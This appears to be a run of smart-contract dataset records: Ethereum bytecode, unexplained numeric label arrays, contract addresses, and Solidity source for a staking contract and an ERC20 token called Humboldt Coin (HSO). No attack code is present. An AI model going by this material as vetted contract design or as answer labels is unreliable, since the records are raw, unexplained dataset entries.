003b035750600062000cf9565b5060019392505050565b60408051808201825290600290829080388339509192915050565b60405161099d8062003ba583390190565b6060604051908101604052806000815260200160008152602001600081525090565b60c0604051908101604052806000600160a060020a0316815260200160008152602001600081526020016000600160a060020a03168152602001600081526020016000815250905600608060405234801561001057600080fd5b5060405160408061099d833981016040818152825160209384015160008054600160a060020a03808516600160a060020a03199283161783556005805482861690841617908190556001805490931633179092557facfdd2c500000000000000000000000000000000000000000000000000000000875294519396929594169363acfdd2c5936004808301949391928390030190829087803b1580156100b557600080fd5b505af11580156100c9573d6000803e3d6000fd5b505050506040513d60208110156100df57600080fd5b505160038054600160a060020a031916600160a060020a03909216919091179055505043600455610888806101156000396000f3006080604052600436106100ab5763ffffffff60e060020a6000350416632039d9fd81146100c457806322d40b13146100fc578063412288031461012d5780634e7343ea14610156578063648a0c911461018557806369820a80146101a657806370a08231146101cd57806398ea5fca146101ee578063c0668179146101f6578063d767ee4d1461020b578063e766307914610223578063f3fef3a314610238578063f6b1b18b1461025c575b600154600160a060020a031633146100c257600080fd5b005b3480156100d057600080fd5b506100e8600160a060020a036004351660243561027d565b604080519115158252519081900360200190f35b34801561010857600080fd5b506101116103b7565b60408051600160a060020a039092168252519081900360200190f35b34801561013957600080fd5b506100e8600160a060020a036004351660243560443515156103c6565b34801561016257600080fd5b506100e8600160a060020a036004358116906024359060443590606435166103c6565b34801561019157600080fd5b506100e8600160a060020a03600435166103e0565b3480156101b257600080fd5b506101bb61048e565b60408051918252519081900360200190f35b3480156101d957600080fd5b506101bb600160a060020a0360043516610494565b6100c26104af565b34801561020257600080fd5b5061011161053b565b34801561021757600080fd5b506100e860043561054a565b34801561022f57600080fd5b50610111610708565b34801561024457600080fd5b506100e8600160a060020a0360043516602435610717565b34801561026857600080fd5b506101bb600160a060020a03600435166107a7565b6000600160a060020a03831615156103215761031a608060405190810160405280604181526020017f43616e6e6f74206465706f73697420657468657220766961206465706f73697481526020017f45524332302c2057616c6c65742e6465706f7369744552433230546f6b656e2881526020017f29000000000000000000000000000000000000000000000000000000000000008152506107b9565b90506103b1565b600354604080517f6465706f73697428616464726573732c75696e743235362900000000000000008152815190819003601801812063ffffffff60e060020a918290049081169091028252600160a060020a03878116600484015260248301879052925192909316929160448083019260009291908290030181865af49250505015156103ad57600080fd5b5060015b92915050565b600354600160a060020a031681565b6000366000604037602060003660406003545af460206000f35b60008054600160a060020a0316331461045f57610458606060405190810160405280602d81526020017f6d73672e73656e64657220213d206f776e65725f2c2057616c6c65742e75706481526020017f61746545786368616e67652829000000000000000000000000000000000000008152506107b9565b9050610489565b506001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161781555b919050565b60045481565b600160a060020a031660009081526002602052604090205490565b600354604080517f6465706f73697428616464726573732c75696e743235362900000000000000008152815190819003601801812063ffffffff60e060020a9182900490811690910282526000600483018190523460248401529251600160a060020a039094169390926044808401939192918290030181865af492505050151561053957600080fd5b565b600154600160a060020a031681565b600080548190600160a060020a031633146105cb576105c4606060405190810160405280602a81526020017f6d73672e73656e64657220213d206f776e65725f2c2057616c6c65742e75706481526020017f6174654c6f6769632829000000000000000000000000000000000000000000008152506107b9565b9150610702565b600554604080517fd526d332000000000000000000000000000000000000000000000000000000008152600481018690529051600160a060020a039092169163d526d332916024808201926020929091908290030181600087803b15801561063257600080fd5b505af1158015610646573d6000803e3d6000fd5b505050506040513d602081101561065c57600080fd5b50519050600160a060020a03811615156106d5576105c4606060405190810160405280602581526020017f496e76616c69642076657273696f6e2c2057616c6c65742e7570646174654c6f81526020017f67696328290000000000000000000000000000000000000000000000000000008152506107b9565b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038316179055600191505b50919050565b600054600160a060020a031681565b60008054600160a060020a0316331461078f5761031a606060405190810160405280602681526020017f6d73672e73656e64657220213d206f776e65722c2057616c6c65742e7769746881526020017f64726177282900000000000000000000000000000000000000000000000000008152506107b9565b366000604037602060003660406003545af460206000f35b60026020526000908152604090205481565b60007f551303dd5f39cbfe6daba6b3e27754b8a7d72f519756a2cde2b92c2bbde159a7826040518080602001828103825283818151815260200191508051906020019080838360005b8381101561081a578181015183820152602001610802565b50505050905090810190601f1680156108475780820380516001836020036101000a031916815260200191505b509250505060405180910390a15060009190505600a165627a7a7230582043b086d6774163e8090d8e83bbedc2efb6cd81da046f89c36eadd97a1290289500296d73672e73656e64657220213d206f776e65722c2045786368616e67652e7365a165627a7a723058201b78e72f81af3ef1bff7cd5a611071ab45a834e77b9e50fc9c35d503ec9feec50029
[ 0, 7, 4, 15, 17, 12 ]
0xf1c577bf8e34938b316fd6bd60132716b23f4eb2
pragma solidity 0.6.12; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract Staking is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); // staking token contract address address public constant tokenAddress = 0x640A94042CC184b693D5a535a6898C99200a1EC2; uint public totalClaimedRewards = 0; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; mapping (address => uint) public lastDivPoints; uint public totalDivPoints = 0; uint public totalTokens = 0; uint internal pointMultiplier = 1e18; function updateAccount(address account) private { uint pendingDivs = getPendingDivs(account); if (pendingDivs > 0) { require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs); totalClaimedRewards = totalClaimedRewards.add(pendingDivs); emit RewardsTransferred(account, pendingDivs); } lastClaimedTime[account] = now; lastDivPoints[account] = totalDivPoints; } function getPendingDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]); uint stakedAmount = depositedTokens[_holder]; uint pendingDivs = stakedAmount.mul(newDivPoints).div(pointMultiplier); return pendingDivs; } function getNumberOfStakers() public view returns (uint) { return holders.length(); } function stake(uint amountToStake) public { require(amountToStake > 0, "Cannot deposit 0 Tokens"); updateAccount(msg.sender); require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); uint txFee1 = amountToStake.mul(400).div(10000); uint txFee2 = amountToStake.mul(400).div(10000); uint amountAfterFee = amountToStake.sub(txFee1).sub(txFee2); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); totalTokens = totalTokens.add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function unstake(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); updateAccount(msg.sender); require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); totalTokens = totalTokens.sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claim() public { updateAccount(msg.sender); } function distributeDivs(uint amount) private { if (totalTokens == 0) return; totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens)); } function receiveApproval(address _from, uint256 _value, bytes memory _extraData) public { require(msg.sender == tokenAddress); distributeDivs(_value); } // function to allow owner to claim *other* ERC20 tokens sent to this contract function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { if (_tokenAddr == tokenAddress) { revert(); } Token(_tokenAddr).transfer(_to, _amount); } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638e20a1d9116100a2578063a694fc3a11610071578063a694fc3a146104c8578063c326bf4f146104f6578063d578ceab1461054e578063f2fde38b1461056c578063f3f91fa0146105b057610116565b80638e20a1d91461033957806398896d10146103575780639d76ea58146103af578063a2d57853146103e357610116565b80636270cd18116100e95780636270cd1814610203578063658b67291461025b5780636a395ccb146102795780637e1c0c09146102e75780638da5cb5b1461030557610116565b80631f04461c1461011b5780632e17de78146101735780634e71d92d146101a1578063583d42fd146101ab575b600080fd5b61015d6004803603602081101561013157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610608565b6040518082815260200191505060405180910390f35b61019f6004803603602081101561018957600080fd5b8101908080359060200190929190505050610620565b005b6101a961093d565b005b6101ed600480360360208110156101c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610948565b6040518082815260200191505060405180910390f35b6102456004803603602081101561021957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610960565b6040518082815260200191505060405180910390f35b610263610978565b6040518082815260200191505060405180910390f35b6102e56004803603606081101561028f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610989565b005b6102ef610ae0565b6040518082815260200191505060405180910390f35b61030d610ae6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610341610b0a565b6040518082815260200191505060405180910390f35b6103996004803603602081101561036d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b10565b6040518082815260200191505060405180910390f35b6103b7610c57565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104c6600480360360608110156103f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561044057600080fd5b82018360208201111561045257600080fd5b8035906020019184600183028401116401000000008311171561047457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610c6f565b005b6104f4600480360360208110156104de57600080fd5b8101908080359060200190929190505050610cc9565b005b6105386004803603602081101561050c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611043565b6040518082815260200191505060405180910390f35b61055661105b565b6040518082815260200191505060405180910390f35b6105ae6004803603602081101561058257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611061565b005b6105f2600480360360208110156105c657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b0565b6040518082815260200191505060405180910390f35b60086020528060005260406000206000915090505481565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b6106de336111c8565b73640a94042cc184b693d5a535a6898c99200a1ec273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561076357600080fd5b505af1158015610777573d6000803e3d6000fd5b505050506040513d602081101561078d57600080fd5b8101908080519060200190929190505050610810576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61086281600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a490919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108ba81600a546114a490919063ffffffff16565b600a819055506108d43360026114bb90919063ffffffff16565b801561091f57506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561093a576109383360026114eb90919063ffffffff16565b505b50565b610946336111c8565b565b60056020528060005260406000206000915090505481565b60076020528060005260406000206000915090505481565b6000610984600261151b565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109e157600080fd5b73640a94042cc184b693d5a535a6898c99200a1ec273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a2e57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a9f57600080fd5b505af1158015610ab3573d6000803e3d6000fd5b505050506040513d6020811015610ac957600080fd5b810190808051906020019092919050505050505050565b600a5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095481565b6000610b268260026114bb90919063ffffffff16565b610b335760009050610c52565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610b845760009050610c52565b6000610bda600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546009546114a490919063ffffffff16565b90506000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000610c49600b54610c3b858561153090919063ffffffff16565b61155f90919063ffffffff16565b90508093505050505b919050565b73640a94042cc184b693d5a535a6898c99200a1ec281565b73640a94042cc184b693d5a535a6898c99200a1ec273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cbb57600080fd5b610cc482611578565b505050565b60008111610d3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b610d48336111c8565b73640a94042cc184b693d5a535a6898c99200a1ec273ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610deb57600080fd5b505af1158015610dff573d6000803e3d6000fd5b505050506040513d6020811015610e1557600080fd5b8101908080519060200190929190505050610e98576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b6000610ec3612710610eb56101908561153090919063ffffffff16565b61155f90919063ffffffff16565b90506000610ef0612710610ee26101908661153090919063ffffffff16565b61155f90919063ffffffff16565b90506000610f1982610f0b85876114a490919063ffffffff16565b6114a490919063ffffffff16565b9050610f6d81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cf90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fc581600a546115cf90919063ffffffff16565b600a81905550610fdf3360026114bb90919063ffffffff16565b61103d57610ff73360026115eb90919063ffffffff16565b5042600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50505050565b60046020528060005260406000206000915090505481565b60015481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110b957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110f357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60066020528060005260406000206000915090505481565b60006111d382610b10565b905060008111156114165773640a94042cc184b693d5a535a6898c99200a1ec273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561126357600080fd5b505af1158015611277573d6000803e3d6000fd5b505050506040513d602081101561128d57600080fd5b8101908080519060200190929190505050611310576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61136281600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cf90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113ba816001546115cf90919063ffffffff16565b6001819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600954600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000828211156114b057fe5b818303905092915050565b60006114e3836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61161b565b905092915050565b6000611513836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61163e565b905092915050565b600061152982600001611726565b9050919050565b6000808284029050600084148061154f57508284828161154c57fe5b04145b61155557fe5b8091505092915050565b60008082848161156b57fe5b0490508091505092915050565b6000600a541415611588576115cc565b6115c56115b4600a546115a6600b548561153090919063ffffffff16565b61155f90919063ffffffff16565b6009546115cf90919063ffffffff16565b6009819055505b50565b6000808284019050838110156115e157fe5b8091505092915050565b6000611613836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611737565b905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461171a576000600182039050600060018660000180549050039050600086600001828154811061168957fe5b90600052602060002001549050808760000184815481106116a657fe5b90600052602060002001819055506001830187600101600083815260200190815260200160002081905550866000018054806116de57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611720565b60009150505b92915050565b600081600001805490509050919050565b6000611743838361161b565b61179c5782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506117a1565b600090505b9291505056fea264697066735822122001e3834aabb0db1304889b1d519afbbd50b310afe26accbcd516ff7d3688603a64736f6c634300060c0033
[ 16, 7, 5 ]
0xf1c5b34b19c8440e88717babc66e0559a1ac4501
/** *Submitted for verification at Etherscan.io on 2020-01-25 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.7.6; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } contract Context { constructor () public { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) internal _balances; mapping (address => mapping (address => uint)) internal _allowances; uint internal _totalSupply; function totalSupply() public view override returns (uint) { return _totalSupply; } function balanceOf(address account) public view override returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is ERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract HSO is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public admin; constructor () public ERC20Detailed("Humboldt Coin", "HSO", 16) { admin = msg.sender; _totalSupply = 420000000 *(10**uint256(16)); _balances[admin] = _totalSupply; } }
